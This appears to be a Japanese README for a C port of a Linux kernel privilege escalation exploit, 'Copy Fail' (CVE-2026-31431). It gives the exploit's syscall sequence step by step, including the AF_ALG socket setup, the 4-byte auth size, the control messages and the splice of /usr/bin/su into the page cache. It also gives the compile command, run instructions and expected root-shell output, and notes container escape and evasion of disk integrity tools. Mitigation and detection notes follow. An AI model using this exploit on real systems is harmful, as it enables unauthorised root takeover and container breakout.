copyfail

概要

Copy Fail (CVE-2026-31431) は、Linuxカーネルにおける論理的な脆弱性であり、ローカルの非特権ユーザーがスーパーユーザー（root）権限へ昇格することを可能にします。この脆弱性は Local Privilege Escalation (LPE) のクラスに属し、レースコンディションやメモリアドレスの推測といった複雑な悪用条件を必要とせず、2017年以降にリリースされたほとんどのLinuxディストリビューションで「そのまま」動作します。

このリポジトリには、オリジナルのPythonエクスプロイトをC言語に移植したものが、詳細なコメント付きで含まれており、静的コンパイルと最小限の環境での使用に適しています。

目次

• 脆弱性
  • 脆弱性の本質
  • 悪用のメカニズム
  • 影響を受けるシステム
• エクスプロイト
  • C言語移植の特徴
  • コンパイル
  • 使用方法
• 動作の仕組み
  • ステップごとの解説
  • ページキャッシュが変更される理由
• 脆弱性の修正

脆弱性

脆弱性の本質

この脆弱性は、Linuxカーネルの暗号化サブシステムにおける論理エラーに起因し、AF_ALG（カーネル暗号APIのインターフェース）とページキャッシュ（page cache）メカニズムの処理に関連しています。

このエラーは2017年、AEAD（Authenticated Encryption with Associated Data）ブロック暗号化操作をその場で（in-place）実行することで余分なバッファリングを排除する最適化が追加された際に導入されました。authencesn（AEAD暗号テンプレートの一部）アルゴリズムにおけるバッファ境界の不適切な処理により、割り当てられたバッファの範囲外に4バイトが書き込まれ、ページキャッシュの管理構造が破損します。

その結果、カーネルは読み取り専用で開かれたファイル（O_RDONLY）であっても、データをページキャッシュに書き戻すことが可能になります。

悪用のメカニズム

1. 非特権ユーザーがAF_ALGソケットを開き、AEADアルゴリズムauthencesn(hmac(sha256),cbc(aes))を初期化します。
2. setsockopt()を通じて異常なパラメータが設定されます：
   • 特殊な形式のキー（カーネルバッファの操作）。
   • 認証タグサイズ = 4バイト（HMAC-SHA256の通常の16〜32バイトの代わり）。
3. sendmsg()とコントロールメッセージを通じて復号操作が開始されます。
4. splice()システムコールが、対象ファイル（O_RDONLYで開かれた）から暗号ソケットへデータを移動します。
5. authencesnのエラーによりファイルのページキャッシュが破損し、「復号された」データがキャッシュに書き戻されます。
6. カーネルがページキャッシュ内の改変されたsetuidファイルを実行し、root権限でのコード実行につながります。

影響を受けるシステム

影響を受けるディストリビューション（algif_aeadモジュールがロードされたカーネルを使用している場合）：

• Ubuntu（全バージョン）
• Debian（全バージョン）
• RHEL / CentOS / Rocky / Alma Linux
• SUSE / openSUSE
• Fedora
• Arch Linux
• その他、影響を受けるカーネルをベースにしたディストリビューション

特に重要な点: コンテナ環境（Docker、LXC、Kubernetes）では、ホストカーネルにalgif_aeadモジュールがロードされている場合、コンテナ内のプロセスはデフォルトでAF_ALGサブシステムにアクセスできます。これにより、コンテナの分離が破られ、ホストマシンの制御を取得するリスクが生じます。

脆弱性の確認:

# algif_aeadモジュールがロードされているか確認
lsmod | grep algif

# カーネルにAF_ALGが存在するか確認
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)

エクスプロイト

C言語移植の特徴

オリジナルのエクスプロイトはPython（約732バイト）で書かれていました。このC言語への移植には以下の特徴があります：

• 静的コンパイル — Pythonなしで最小限の環境でも動作します。
• 完全な自己完結性 — 標準Cライブラリとlibzのみが必要です。
• ロシア語の詳細なコメント — 悪用の各ステップが文書化されています。
• 同一の動作 — システムコールはPython版と正確に一致します（straceで検証済み）。
• 非ブロッキングrecv() — Pythonのtry/exceptの動作を再現し、ハングアップを防ぎます。

移植中に判明したPython版との主な違い:

コンパイル

# libzが必要（zlib1g-dev または zlib-devel）
gcc -o copyfail copyfail.c -lz -static -Wall -O2

使用方法

./copyfail

悪用に成功すると、パスワードを要求せずにrootアクセスを提供するパッチ適用済みの/usr/bin/suが実行されます。

期待される出力:

================================================================
  CVE-2026-31431 'Copy Fail' Exploit
================================================================

[+] /usr/bin/su が開かれました
[+] 40チャンク
[*] 40/40 OK

# id
uid=0(root) gid=0(root) groups=0(root)

動作の仕組み

ステップごとの解説

以下は、対応するシステムコールを含むエクスプロイトの各ステップの詳細な解説です：

ステップ 1: AF_ALGソケットの作成

socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead", 
     salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);

カーネル暗号APIへのアクセス用ソケットが作成されます。authencesn（Authenticated Encryption with Sequence Numbers）アルゴリズムは、AES-CBCを暗号化に、HMAC-SHA256を認証に使用する複合AEADアルゴリズムです。

ステップ 2: 脆弱なパラメータの設定

setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);

• キー: カーネルの内部バッファを操作する特殊な形式の40バイト。
• 認証タグサイズ: 4バイト。HMAC-SHA256の通常値は16〜32バイトです。異常に小さい値により、カーネル内でバッファオーバーフローが発生します。

ステップ 3: 復号操作の初期化

accept(sock, NULL, NULL);  // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data, 
        cmsg=[(SOL_ALG, 3, 4ゼロ),        // ALG_SET_OP = DECRYPT
              (SOL_ALG, 2, 0x10+19ゼロ),  // ALG_SET_IV
              (SOL_ALG, 4, 0x08+3ゼロ)]},  // ALG_SET_AEAD_ASSOCLEN
        MSG_MORE);

操作のための接続が作成されます。sendmsg()とコントロールメッセージ（CMSG）を通じてパラメータが設定されます：

• 操作: 復号（ALG_OP_DECRYPT = 0）。
• IV: 20バイト（AESの通常の16バイトの代わり）。
• 関連データ: 8バイト（実際のデータ転送なし）。

これらの異常により、カーネルのメモリ管理に不整合が生じます。

ステップ 4: splice()によるデータ移動

pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);

splice()は、userspaceを経由せずにファイルディスクリプタ間でデータを移動するシステムコールです。データはpipeメカニズムを通じてカーネルレベルで移動されます。

1. splice(target_fd -> pipe): 対象ファイル（/usr/bin/su）のデータがpipeに入ります。
2. splice(pipe -> conn_sock): pipeのデータが「暗号文」として暗号ソケットに入ります。

重要なポイント: Python（およびこの移植版）では、pipeのオフセットはNULLとして渡され、カーネルが自動的に位置を管理できるようにします。

ステップ 5: 最終処理とエラー無視

fcntl(conn_sock, F_SETFL, O_NONBLOCK);
recv(conn_sock, buf, 8 + t, 0);

recv()呼び出しにより、カーネルは暗号操作を完了します。通常モードでは復号データが返されますが、異常なパラメータにより、PythonではEBADMSG、C（O_NONBLOCK付き）ではEAGAINエラーが返されます。エラーは無視されます — ページキャッシュの破損はsplice()の段階ですでに発生しています。

ページキャッシュが変更される理由

ページキャッシュ（page cache）は、ファイルの内容をRAMにキャッシュするものです。プロセスがO_RDONLYでファイルを開くと、カーネルはこのキャッシュからの読み取りのみを許可します。しかし、この脆弱性によりこの制限を回避できます：

1. バッファサイズの不整合: authsize=4（16〜32の代わり）により、誤ったサイズのバッファが作成されます。
2. バッファオーバーフロー: 「復号」時にデータが割り当てられたバッファの範囲外に書き込まれます。
3. 参照カウントの破損: オーバーフローがページ管理構造（ページ参照カウント）に影響を与えます。
4. キャッシュへの書き込み: カーネルはページが空いていると判断し、「復号された」データをそこに書き込みます。
5. O_RDONLYの無視: アクセス権チェックはwrite()呼び出し時にVFSレベルで行われますが、splice()はこれらのチェックを迂回してページキャッシュレベルで直接動作します。

変更はディスクではなくRAM内でのみ発生します。これにより、標準的な整合性チェックツールでは攻撃を検出することが困難になります。再起動またはページキャッシュのクリア後、攻撃の痕跡は消えます。

脆弱性の修正

主な方法

Linuxカーネルを修正を含むバージョンに更新する。

一時的な対策

algif_aeadモジュールを無効化する:

# モジュールのロードを禁止
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/algif_aead.conf

# モジュールをアンロード（ロードされている場合）
sudo rmmod algif_aead

追加の推奨事項:

• ユーザーのローカルアクセスを制限する。
• カーネルとシステムの整合性モニタリングを使用する。
• 最小権限の原則を適用する。
• コンテナ環境では、seccompプロファイルを通じてAF_ALGへのアクセスを禁止する。

ディスク上の/usr/bin/suファイルは変更されますか？

いいえ。変更はページキャッシュ（RAM）内でのみ発生します。ディスク上のファイルの内容は変更されません。システム再起動後、ページキャッシュはクリアされ、ファイルは元の状態に戻ります。

悪用を検出できますか？

検出は以下を通じて可能です：

• システムコールのモニタリング（auditd、strace）。
• AF_ALGソケット使用の異常の分析。
• メモリ内のファイル整合性チェック（ディスク上ではない）。

標準的な整合性チェックツール（AIDE、Tripwire）は、ディスク上のファイルが変更されないため、変更を検出できません。

免責事項

このコードは教育および研究目的のみで提供されています。著者は、このコードの違法な使用について一切の責任を負いません。システム所有者の明示的な許可なしにエクスプロイトを使用することは違法であり、刑事責任を問われる可能性があります。

自分が所有するシステム、またはセキュリティテストの明示的な書面による許可を得ているシステムでのみ使用してください。